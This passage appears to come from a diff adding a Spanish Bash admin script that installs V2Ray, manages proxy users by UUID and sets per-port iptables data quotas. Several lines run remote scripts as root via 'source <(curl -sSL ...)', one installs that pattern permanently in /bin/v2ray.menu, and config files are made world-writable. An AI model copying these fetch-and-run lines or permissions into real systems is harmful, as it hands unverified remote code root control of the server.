--get-selections|grep -w "cowsay"|head -1) ]] || apt-get install cowsay -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install cowsay............... $ESTATUS " +#figlet +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || apt-get install figlet -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install figlet............... $ESTATUS " +#lolcat +apt-get install lolcat -y &>/dev/null +sudo gem install lolcat &>/dev/null +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install lolcat............... $ESTATUS " + +echo -e "$BARRA" +echo -e "\033[92m La instalacion de paquetes necesarios a finalizado" +echo -e "$BARRA" +echo -e "\033[97m Si la instalacion de paquetes tiene fallas" +echo -ne "\033[97m Puede intentar de nuevo [s/n]: " +read inst +[[ $inst = @(s|S|y|Y) ]] && install_ini +} + + +SCPdir="/etc/adm-lite" +SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] +[[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPinst} ]] +[[ ! -d ${SCPinst} ]] && mkdir ${SCPinst} +user_conf="/etc/adm-lite/RegV2ray" && [[ ! -e $user_conf ]] && touch $user_conf +user_confEX="/etc/adm-lite/RegV2ray.exp" && [[ ! -e $user_confEX ]] && touch $user_confEX +config="/etc/v2ray/config.json" +temp="/etc/v2ray/temp.json" +err_fun () { + case $1 in + 1)msg -verm "-Usuario Nulo-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 2)msg -verm "-Nombre muy corto (MIN: 2 CARACTERES)-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 3)msg -verm "-Nombre muy grande (MAX: 5 CARACTERES)-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 4)msg -verm "-Contraseña Nula-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 5)msg -verm "-Contraseña muy corta-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 6)msg -verm "-Contraseña muy grande-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 7)msg -verm "-Duracion Nula-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 8)msg -verm "-Duracion invalida utilize numeros-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 9)msg -verm "-Duracion maxima y de un año-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 11)msg -verm "-Limite Nulo-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 12)msg -verm "-Limite invalido utilize numeros-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 13)msg -verm "-Limite maximo de 999-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 14)msg -verm "-Usuario Ya Existe-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 15)msg -verm "-(Solo numeros) GB = Min: 1gb Max: 1000gb-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 16)msg -verm "-(Solo numeros)-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 17)msg -verm "-(Sin Informacion - Para Cancelar Digite CRTL + C)-"; sleep 4s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + esac +} +intallv2ray () { +install_ini +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/v2ray.sh) +#source <(curl -sL https://raw.githubusercontent.com/ChumoGH/ADMRufu/main/Utils/v2ray/v2ray.sh) +[[ -e "$config" ]] && jq 'del(.inbounds[].streamSettings.kcpSettings[])' < /etc/v2ray/config.json >> /etc/v2ray/tmp.json +#rm -rf /etc/v2ray/config.json +#[[ -e "$config" ]] && jq '.inbounds[].streamSettings += {"network":"ws","wsSettings":{"path": "/ADMcgh/","headers": {"Host": "ejemplo.com"}}}' < /etc/v2ray/tmp.json >> /etc/v2ray/config.json +#v2ray new +[[ -e "$config" ]] && chmod 777 /etc/v2ray/config.json +echo '[Unit] +Description=V2Ray Service +After=network.target nss-lookup.target +StartLimitIntervalSec=0 + +[Service] +Type=simple +User=root +CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_BIND_SERVICE +AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE +NoNewPrivileges=true +ExecStart=/usr/bin/v2ray/v2ray -config /etc/v2ray/config.json +Restart=always +RestartSec=3s + + +[Install] +WantedBy=multi-user.target' > /etc/systemd/system/v2ray.service +systemctl daemon-reload &>/dev/null +systemctl start v2ray &>/dev/null +systemctl enable v2ray &>/dev/null +systemctl restart v2ray.service +msg -ama "-Intalado con Exito-!" +USRdatabase="/etc/adm-lite/RegV2ray" +[[ ! -e ${USRdatabase} ]] && touch ${USRdatabase} +sort ${USRdatabase} | uniq > ${USRdatabase}tmp +mv -f ${USRdatabase}tmp ${USRdatabase} +msg -bar +msg -ne "Enter Para Continuar" && read enter +[[ ! -d ${SCPinst} ]] && mkdir ${SCPinst} +[[ ! -d /etc/adm-lite/v2ray ]] && mkdir /etc/adm-lite/v2ray +echo 'source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/v2ray1.sh)' > /bin/v2ray.menu +chmod +x /bin/v2ray.menu +} +protocolv2ray () { +msg -ama "-Escojer opcion 3 y poner el dominio de nuestra IP-!" +msg -bar +v2ray stream +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +dirapache="/usr/local/lib/ubuntn/apache/ver" && [[ ! -d ${dirapache} ]] +tls () { +msg -ama "-Activar o Desactivar TLS-!" +#msg -bar +#echo -e "Ingrese Correo Temporal o Fijo \n Para Validar su Cerficicado SSL " +#read -p " Ejemplo email=my@example.com : " crreo +#echo -e $barra +#wget -O - https://get.acme.sh | sh -s email=$crreo +msg -bar +v2ray tls +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +portv () { +msg -ama "-Cambiar Puerto v2ray-!" +msg -bar +v2ray port +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +stats () { +#msg -ama "-Estadisticas de Consumo-!" +#msg -bar +#v2ray stats +usrCONEC +#msg -bar +#msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +unistallv2 () { +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/v2ray.sh) --remove > /dev/null 2>&1 +#source <(curl -sSL https://www.dropbox.com/s/cx8xhq3s53x3a75/insta-gen.sh) +rm -rf /etc/adm-lite/RegV2ray > /dev/null 2>&1 +echo -e "\033[1;92m V2RAY REMOVIDO OK " +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +infocuenta () { +v2ray info +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +addusr () { +clear +clear +msg -bar +msg -tit +msg -ama " AGREGAR USUARIO | UUID V2RAY" +msg -bar +echo "" +while true; do +echo -ne "\e[91m >> Digita un Nombre: \033[1;92m" + read -p ": " nick + nick="$(echo $nick|sed -e 's/[^a-z0-9 -]//ig')" + if [[ -z $nick ]]; then + err_fun 17 && continue + elif [[ "${#nick}" -lt "1" ]]; then + err_fun 2 && continue + elif [[ "${#nick}" -gt "9" ]]; then + err_fun 3 && continue + fi + break +done +##DAIS +valid=$(date '+%C%y-%m-%d' -d " +31 days") +##CORREO +#MAILITO=$(cat /dev/urandom | tr -dc '[:alnum:]' | head -c 10) +MAILITO="${nick}" +##ADDUSERV2RAY +UUID=`uuidgen` +sed -i '13i\ \{' /etc/v2ray/config.json +sed -i '14i\ \"alterId": 0,' /etc/v2ray/config.json +sed -i '15i\ \"id": "'$UUID'",' /etc/v2ray/config.json +sed -i '16i\ \"email": "'$MAILITO'"' /etc/v2ray/config.json +sed -i '17i\ \},' /etc/v2ray/config.json +echo -e "\e[91m >> Agregado UUID: \e[92m$UUID " +while true; do + echo -ne "\e[91m >> Duracion de UUID (Dias):\033[1;92m " && read diasuser + if [[ -z "$diasuser" ]]; then + err_fun 17 && continue + elif [[ "$diasuser" != +([0-9]) ]]; then + err_fun 8 && continue + elif [[ "$diasuser" -gt "360" ]]; then + err_fun 9 && continue + fi + break +done +#Lim +[[ $(cat /etc/passwd |grep $1: |grep -vi [a-z]$1 |grep -v [0-9]$1 > /dev/null) ]] && return 1 +valid=$(date '+%C%y-%m-%d' -d " +$diasuser days") && datexp=$(date "+%F" -d " + $diasuser days") +echo -e "\e[91m >> Expira el : \e[92m$datexp " +##Registro +echo " $UUID | $nick | $valid " >> /etc/adm-lite/RegV2ray +v2ray restart > /dev/null 2>&1 +echo "" +v2ray info > /etc/adm-lite/v2ray/confuuid.log +lineP=$(sed -n '/'${UUID}'/=' /etc/adm-lite/v2ray/confuuid.log) +numl1=4 +let suma=$lineP+$numl1 +sed -n ${suma}p /etc/adm-lite/v2ray/confuuid.log +echo "" +msg -bar +echo -e "\e[92m UUID AGREGEGADO CON EXITO " +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} + +add_user(){ + unset seg + seg=$(date +%s) + while : + do + clear + users="$(cat $config | jq -r .inbounds[].settings.clients[].email)" + + title " CREAR USUARIO V2RAY" + userDat + + n=0 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + + [[ $i = null ]] && { + i="default" + a='*' + DateExp=" unlimit" + col "$a)" "$i" "$DateExp" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + + col "$n)" "$i" "$DateExp" "$exp" + } + let n++ + done + msg -bar + col "0)" "VOLVER" + msg -bar + blanco "NOMBRE DEL NUEVO USUARIO" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + + [[ $opcion = 0 ]] && break + + blanco "DURACION EN DIAS" 0 + read dias + + espacios=$(echo "$opcion" | tr -d '[[:space:]]') + opcion=$espacios + + mv $config $temp + num=$(jq '.inbounds[].settings.clients | length' $temp) + new=".inbounds[].settings.clients[$num]" + new_id=$(uuidgen) + new_mail="email:\"$opcion\"" + aid=$(jq '.inbounds[].settings.clients[0].alterId' $temp) + echo jq \'$new += \{alterId:${aid},id:\"$new_id\","$new_mail"\}\' $temp \> $config | bash + echo "$opcion | $new_id | $(date '+%y-%m-%d' -d " +$dias days")" >> $user_conf + chmod 777 $config + rm $temp + clear + msg -bar + blanco " Usuario $opcion creado Exitosamente" + msg -bar + restart_v2r + sleep 0.2 + done +} + + +usrCONEC() { +CGHlog='/var/log/v2ray/access.log' +[[ $log0 -le 1 ]] && { +v2ray restart &> /dev/null +v2ray clean &> /dev/null && let log0++ && clear +} +msg -bar3 +echo -e "" +echo -e " ESPERANDO A LA VERIFICACION DE IPS Y USUARIOS " +echo -e " ESPERE UN MOMENTO PORFAVOR $log0" +echo -e "" +msg -bar3 +fun_bar +msg -bar3 +sleep 5s +clear&&clear +title2 +msg -bar3 +users="$(cat $config | jq -r .inbounds[].settings.clients[].email)" +IP_tconex=$(netstat -nap | grep "$v2rayports"| grep v2ray | grep ESTABLISHED | grep tcp6 | awk {'print $5'}| awk -F ":" '{print $1}' | sort | uniq) +n=1 +[[ -z $IP_tconex ]] && echo -e " NO HAY USUARIOS CONECTADOS!" +for i in $IP_tconex +do + USERauth=$(cat ${CGHlog} | grep $i | grep accepted |awk '{print $7}'| sort | uniq) + Users+="$USERauth\n" +done +echo -e " N) -|- USER -|- CONEXIONES "|column -t -s '-' +msg -bar3 +for U in $users + do + CConT=$(echo -e "$Users" | grep $U |wc -l) + [[ $CConT = 0 ]] && continue + UConc+=" $n) -|- $U -|- $CConT\n" + let n++ +done +echo -e "$UConc"|column -t -s '-' +msg -bar3 +continuar +read foo +} + + +renewusr () { +clear +clear +msg -bar +msg -tit +msg -ama " USUARIOS REGISTRADOS | UUID V2RAY" +msg -bar +# usersss=$(cat /etc/adm-lite/RegV2ray|cut -d '|' -f1) +# cat /etc/adm-lite/RegV2ray|cut -d'|' -f3 +VPSsec=$(date +%s) +local HOST="/etc/adm-lite/RegV2ray.exp" +local HOST2="/etc/adm-lite/RegV2ray.exp" +local RETURN="$(cat $HOST|cut -d'|' -f2)" +local IDEUUID="$(cat $HOST|cut -d'|' -f1)" +if [[ -z $RETURN ]]; then +echo -e "----- NINGUN USER EXPIRADO -----" +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +else +i=1 +echo -e "\e[97m UUID | USER | DATA \e[93m" +msg -bar +while read hostreturn ; do +DateExp="$(cat /etc/adm-lite/RegV2ray.exp|grep -w "$hostreturn"|cut -d'|' -f3)" +if [[ ! -z $DateExp ]]; then +DataSec=$(date +%s --date="$DateExp") +[[ "$VPSsec" -gt "$DataSec" ]] && EXPTIME="\e[91m[Caducado]\e[97m" || EXPTIME="\e[92m[$(($(($DataSec - $VPSsec)) / 86400))]\e[97m Dias" +else +EXPTIME="\e[91m[ S/R ]" +fi +usris="$(cat /etc/adm-lite/RegV2ray.exp|grep -w "$hostreturn"|cut -d'|' -f2)" +local contador_secuencial+="\e[93m$hostreturn \e[97m|\e[93m$usris\e[97m|\e[93m $EXPTIME \n" + if [[ $i -gt 30 ]]; then + echo -e "$contador_secuencial" + unset contador_secuencial + unset i + fi +let i++ +done <<< "$IDEUUID" + +[[ ! -z $contador_secuencial ]] && { +linesss=$(cat /etc/adm-lite/RegV2ray.exp | wc -l) + echo -e "$contador_secuencial \n Numero de Registrados: $linesss" + } +fi + +read -p "" +return +msg -bar +msg -tit +msg -ama " AGREGAR USUARIO | UUID V2RAY" +msg -bar +##DAIS +valid=$(date '+%C%y-%m-%d' -d " +31 days") +##CORREO +MAILITO=$(cat /dev/urandom | tr -dc '[:alnum:]' | head -c 10) +##ADDUSERV2RAY +UUID=`uuidgen` +sed -i '13i\ \{' /etc/v2ray/config.json +sed -i '14i\ \"alterId": 0,' /etc/v2ray/config.json +sed -i '15i\ \"id": "'$UUID'",' /etc/v2ray/config.json +sed -i '16i\ \"email": "'$MAILITO'@gmail.com"' /etc/v2ray/config.json +sed -i '17i\ \},' /etc/v2ray/config.json +echo "" +echo -e "\e[91m >> Agregado UUID: \e[92m$UUID " +while true; do + echo -ne "\e[91m >> Duracion de UUID (Dias):\033[1;92m " && read diasuser + if [[ -z "$diasuser" ]]; then + err_fun 17 && continue + elif [[ "$diasuser" != +([0-9]) ]]; then + err_fun 8 && continue + elif [[ "$diasuser" -gt "360" ]]; then + err_fun 9 && continue + fi + break +done +#Lim +[[ $(cat /etc/passwd |grep $1: |grep -vi [a-z]$1 |grep -v [0-9]$1 > /dev/null) ]] && return 1 +valid=$(date '+%C%y-%m-%d' -d " +$diasuser days") && datexp=$(date "+%F" -d " + $diasuser days") +echo -e "\e[91m >> Expira el : \e[92m$datexp " +##Registro +echo " $UUID | $nick | $valid " >> /etc/adm-lite/RegV2ray +v2ray restart > /dev/null 2>&1 +echo "" +v2ray info > /etc/adm-lite/v2ray/confuuid.log +lineP=$(sed -n '/'${UUID}'/=' /etc/adm-lite/v2ray/confuuid.log) +numl1=4 +let suma=$lineP+$numl1 +sed -n ${suma}p /etc/adm-lite/v2ray/confuuid.log +echo "" +msg -bar +echo -e "\e[92m UUID AGREGEGADO CON EXITO " +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} + + +renew(){ + while : + do + unset user + clear + title " RENOVAR USUARIOS" + userDat + userEpx=$(cut -d " " -f1 $user_conf) + n=1 + for i in $userEpx + do + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + col "$n)" "$i" "$DateExp" "\033[0;31m[Exp]" + uid[$n]="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f2|tr -d '[[:space:]]')" + user[$n]=$i + let n++ + } + done + [[ -z ${user[1]} ]] && blanco " No hay expirados" + msg -bar + col "0)" "VOLVER" + msg -bar + blanco "NUMERO DE USUARIO A RENOVAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.2 + } || { + [[ $opcion>=${n} ]] && { + let n-- + blanco "solo numero entre 1 y $n" + sleep 0.2 + } || { + blanco "DURACION EN DIAS" 0 + read dias + + mv $config $temp + num=$(jq '.inbounds[].settings.clients | length' $temp) + aid=$(jq '.inbounds[].settings.clients[0].alterId' $temp) + echo "cat $temp | jq '.inbounds[].settings.clients[$num] += {alterId:${aid},id:\"${uid[$opcion]}\",email:\"${user[$opcion]}\"}' >> $config" | bash + sed -i "/${user[$opcion]}/d" $user_conf + echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days")" >> $user_conf + chmod 777 $config + rm $temp + clear + msg -bar + blanco " Usuario ${user[$opcion]} renovado Exitosamente" + msg -bar + restart_v2r + sleep 0.2 + } + } + done +} + + + +delusr () { +clear +clear +invaliduuid () { +msg -bar +echo -e "\e[91m UUID INVALIDO \n$(msg -bar)" +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +msg -bar +msg -tit +msg -ama " ELIMINAR USUARIO | UUID V2RAY" +msg -bar +echo -e "\e[97m USUARIOS REGISTRADOS" +echo -e "\e[33m$(cat /etc/adm-lite/RegV2ray|cut -d '|' -f2,1)" +msg -bar +echo -ne "\e[91m >> Digita el UUID a elininar:\n \033[1;92m " && read uuidel +[[ $(sed -n '/'${uuidel}'/=' /etc/v2ray/config.json|head -1) ]] || invaliduuid +lineP=$(sed -n '/'${uuidel}'/=' /etc/v2ray/config.json) +linePre=$(sed -n '/'${uuidel}'/=' /etc/adm-lite/RegV2ray) +sed -i "${linePre}d" /etc/adm-lite/RegV2ray +numl1=2 +let resta=$lineP-$numl1 +sed -i "${resta}d" /etc/v2ray/config.json +sed -i "${resta}d" /etc/v2ray/config.json +sed -i "${resta}d" /etc/v2ray/config.json +sed -i "${resta}d" /etc/v2ray/config.json +sed -i "${resta}d" /etc/v2ray/config.json +v2ray restart > /dev/null 2>&1 +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} + +dell_user(){ + unset seg + seg=$(date +%s) + while : + do + clear + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + + title " ELIMINAR USUARIO V2RAY" + userDat + n=0 + for i in $users + do + userd[$n]=$i + unset DateExp + unset seg_exp + unset exp + + [[ $i = null ]] && { + i="default" + a='*' + DateExp=" unlimit" + col "$a)" "$i" "$DateExp" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + col "$n)" "$i" "$DateExp" "$exp" + } + p=$n + let n++ + done + userEpx=$(cut -d " " -f 1 $user_conf) + for i in $userEpx + do + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + col "$n)" "$i" "$DateExp" "\033[0;31m[Exp]" + expUser[$n]=$i + } + let n++ + done + msg -bar + col "0)" "VOLVER" + msg -bar + blanco "NUMERO DE USUARIO A ELIMINAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.2 + } || { + let n-- + [[ $opcion>=${n} ]] && { + blanco "solo numero entre 1 y $n" + sleep 0.2 + } || { + [[ $opcion>=${p} ]] && { + sed -i "/${expUser[$opcion]}/d" $user_conf + } || { + sed -i "/${userd[$opcion]}/d" $user_conf + mv $config $temp + echo jq \'del\(.inbounds[].settings.clients[$opcion]\)\' $temp \> $config | bash + chmod 777 $config + rm $temp + clear + msg -bar + blanco " Usuario eliminado" + msg -bar + v2ray restart & > /dev/null + } + sleep 0.2 + } + } + done +} + +_delUSR () { +clear&&clear +msg -bar +echo -e "\033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m BORRAR POR UUID DE USUARIO\033[1;32m " +echo -e "\033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m BORRAR POR NUMERO DE USUARIO \033[1;32m " +msg -bar +selection=$(selection_fun 2) +case ${selection} in +1)dell_user;; +2)delusr;; +*)return;; +esac +return +} + +autoDel(){ + seg=$(date +%s) + while : + do + unset users + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + n=0 + for i in $users + do + [[ ! $i = null ]] && { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + #echo "$(cat ${user_conf}|grep -w "${i}")" >> ${user_conf}.exp + #sed -i "/${i}/d" $user_conf + mv $config $temp + echo jq \'del\(.inbounds[].settings.clients[$n]\)\' $temp \> $config | bash + chmod 777 $config + rm $temp + continue + } + } + let n++ + done + break + done +#v2ray restart + } + +mosusr_kk() { +clear +clear +msg -bar +msg -tit +msg -ama " USUARIOS REGISTRADOS | UUID V2RAY" +msg -bar +# usersss=$(cat /etc/adm-lite/RegV2ray|cut -d '|' -f1) +# cat /etc/adm-lite/RegV2ray|cut -d'|' -f3 +VPSsec=$(date +%s) +local HOST="/etc/adm-lite/RegV2ray" +local HOST2="/etc/adm-lite/RegV2ray" +local RETURN="$(cat $HOST|cut -d'|' -f2)" +local IDEUUID="$(cat $HOST|cut -d'|' -f1)" +if [[ -z $RETURN ]]; then +echo -e "----- NINGUN USER REGISTRADO -----" +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +else +i=1 +echo -e "\e[97m UUID | USER | EXPIRACION \e[93m" +msg -bar +while read hostreturn ; do +DateExp="$(cat /etc/adm-lite/RegV2ray|grep -w "$hostreturn"|cut -d'|' -f3)" +if [[ ! -z $DateExp ]]; then +DataSec=$(date +%s --date="$DateExp") +[[ "$VPSsec" -gt "$DataSec" ]] && EXPTIME="\e[91m[Caducado]\e[97m" || EXPTIME="\e[92m[$(($(($DataSec - $VPSsec)) / 86400))]\e[97m Dias" +else +EXPTIME="\e[91m[ S/R ]" +fi +usris="$(cat /etc/adm-lite/RegV2ray|grep -w "$hostreturn"|cut -d'|' -f2)" +local contador_secuencial+="\e[93m$hostreturn \e[97m|\e[93m$usris\e[97m|\e[93m $EXPTIME \n" + if [[ $i -gt 30 ]]; then + echo -e "$contador_secuencial" + unset contador_secuencial + unset i + fi +let i++ +done <<< "$IDEUUID" + +[[ ! -z $contador_secuencial ]] && { +linesss=$(cat /etc/adm-lite/RegV2ray | wc -l) + echo -e "$contador_secuencial \n Numero de Registrados: $linesss" + } +fi +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +lim_port () { +clear +clear +msg -bar +msg -tit +msg -ama " LIMITAR MB X PORT | UUID V2RAY" +msg -bar +###VER +estarts () { +VPSsec=$(date +%s) +local HOST="/etc/adm-lite/v2ray/lisportt.log" +local HOST2="/etc/adm-lite/v2ray/lisportt.log" +local RETURN="$(cat $HOST|cut -d'|' -f2)" +local IDEUUID="$(cat $HOST|cut -d'|' -f1)" +if [[ -z $RETURN ]]; then +echo -e "----- NINGUN PUERTO REGISTRADO -----" +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +else +i=1 +while read hostreturn ; do +iptables -n -v -L > /etc/adm-lite/v2ray/data1.log +statsss=$(cat /etc/adm-lite/v2ray/data1.log|grep -w "tcp spt:$hostreturn quota:"|cut -d' ' -f3,4,5) +gblim=$(cat /etc/adm-lite/v2ray/lisportt.log|grep -w "$hostreturn"|cut -d'|' -f2) +local contador_secuencial+=" \e[97mPUERTO: \e[93m$hostreturn \e[97m|\e[93m$statsss \e[97m|\e[93m $gblim GB \n" + if [[ $i -gt 30 ]]; then + echo -e "$contador_secuencial" + unset contador_secuencial + unset i + fi +let i++ +done <<< "$IDEUUID" + +[[ ! -z $contador_secuencial ]] && { +linesss=$(cat /etc/adm-lite/v2ray/lisportt.log | wc -l) + echo -e "$contador_secuencial \n Puertos Limitados: $linesss" + } +fi +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +###LIM +liport () { +while true; do + echo -ne "\e[91m >> Digite Port a Limitar:\033[1;92m " && read portbg + if [[ -z "$portbg" ]]; then + err_fun 17 && continue + elif [[ "$portbg" != +([0-9]) ]]; then + err_fun 16 && continue + elif [[ "$portbg" -gt "1000" ]]; then + err_fun 16 && continue + fi + break +done +while true; do + echo -ne "\e[91m >> Digite Cantidad de GB:\033[1;92m " && read capgb + if [[ -z "$capgb" ]]; then + err_fun 17 && continue + elif [[ "$capgb" != +([0-9]) ]]; then + err_fun 15 && continue + elif [[ "$capgb" -gt "1000" ]]; then + err_fun 15 && continue + fi + break +done +uml1=1073741824 +gbuser="$capgb" +let multiplicacion=$uml1*$gbuser +sudo iptables -I OUTPUT -p tcp --sport $portbg -j DROP +sudo iptables -I OUTPUT -p tcp --sport $portbg -m quota --quota $multiplicacion -j ACCEPT +iptables-save > /etc/iptables/rules.v4 +echo "" +echo -e " Port Seleccionado: $portbg | Cantidad de GB: $gbuser" +echo "" +echo " $portbg | $gbuser | $multiplicacion " >> /etc/adm-lite/v2ray/lisportt.log +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +###RES +resdata () { +VPSsec=$(date +%s) +local HOST="/etc/adm-lite/v2ray/lisportt.log" +local HOST2="/etc/adm-lite/v2ray/lisportt.log" +local RETURN="$(cat $HOST|cut -d'|' -f2)" +local IDEUUID="$(cat $HOST|cut -d'|' -f1)" +if [[ -z $RETURN ]]; then +echo -e "----- NINGUN PUERTO REGISTRADO -----" +return 0 +else +i=1 +while read hostreturn ; do +iptables -n -v -L > /etc/adm-lite/v2ray/data1.log +statsss=$(cat /etc/adm-lite/v2ray/data1.log|grep -w "tcp spt:$hostreturn quota:"|cut -d' ' -f3,4,5) +gblim=$(cat /etc/adm-lite/v2ray/lisportt.log|grep -w "$hostreturn"|cut -d'|' -f2) +local contador_secuencial+=" \e[97mPUERTO: \e[93m$hostreturn \e[97m|\e[93m$statsss \e[97m|\e[93m $gblim GB \n" + + if [[ $i -gt 30 ]]; then + echo -e "$contador_secuencial" + unset contador_secuencial + unset i + fi +let i++ +done <<< "$IDEUUID" + +[[ ! -z $contador_secuencial ]] && { +linesss=$(cat /etc/adm-lite/v2ray/lisportt.log | wc -l) + echo -e "$contador_secuencial \n Puertos Limitados: $linesss" + } +fi +msg -bar + +while true; do + echo -ne "\e[91m >> Digite Puerto a Limpiar:\033[1;92m " && read portbg + if [[ -z "$portbg" ]]; then + err_fun 17 && continue + elif [[ "$portbg" != +([0-9]) ]]; then + err_fun 16 && continue + elif [[ "$portbg" -gt "1000" ]]; then + err_fun 16 && continue + fi + break +done +invaliduuid () { +msg -bar +echo -e "\e[91m PUERTO INVALIDO \n$(msg -bar)" +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +[[ $(sed -n '/'${portbg}'/=' /etc/adm-lite/v2ray/lisportt.log|head -1) ]] || invaliduuid +gblim=$(cat /etc/adm-lite/v2ray/lisportt.log|grep -w "$portbg"|cut -d'|' -f3) +sudo iptables -D OUTPUT -p tcp --sport $portbg -j DROP +sudo iptables -D OUTPUT -p tcp --sport $portbg -m quota --quota $gblim -j ACCEPT +iptables-save > /etc/iptables/rules.v4 +lineP=$(sed -n '/'${portbg}'/=' /etc/adm-lite/v2ray/lisportt.log) +sed -i "${linePre}d" /etc/adm-lite/v2ray/lisportt.log +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +## MENU +echo -ne "\033[1;32m [1] > " && msg -azu "-LIMITAR DATA x PORT" +echo -ne "\033[1;32m [2] > " && msg -azu "-RESETEAR DATA DE PORT- " +echo -ne "\033[1;32m [3] > " && msg -azu "-VER DATOS CONSUMIDOS- " +echo -ne "$(msg -bar)\n\033[1;32m [0] > " && msg -bra "\e[97m\033[1;41m VOLVER \033[1;37m" +msg -bar +selection=$(selection_fun 3) +case ${selection} in +1)liport ;; +2)resdata;; +3)estarts;; +0) +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/v2ray1.sh) +;; +esac +} + +limpiador_activador () { +unset PIDGEN +PIDGEN=$(ps aux|grep -v grep|grep "limv2ray") +if [[ ! $PIDGEN ]]; then +screen -dmS limv2ray watch -n 21600 limv2ray +else +#killall screen +screen -S limv2ray -p 0 -X quit +fi +unset PID_GEN +PID_GEN=$(ps x|grep -v grep|grep "limv2ray") +[[ ! $PID_GEN ]] && PID_GEN="\e[91m [ DESACTIVADO ] " || PID_GEN="\e[92m [ ACTIVADO ] " +statgen="$(echo $PID_GEN)" +clear 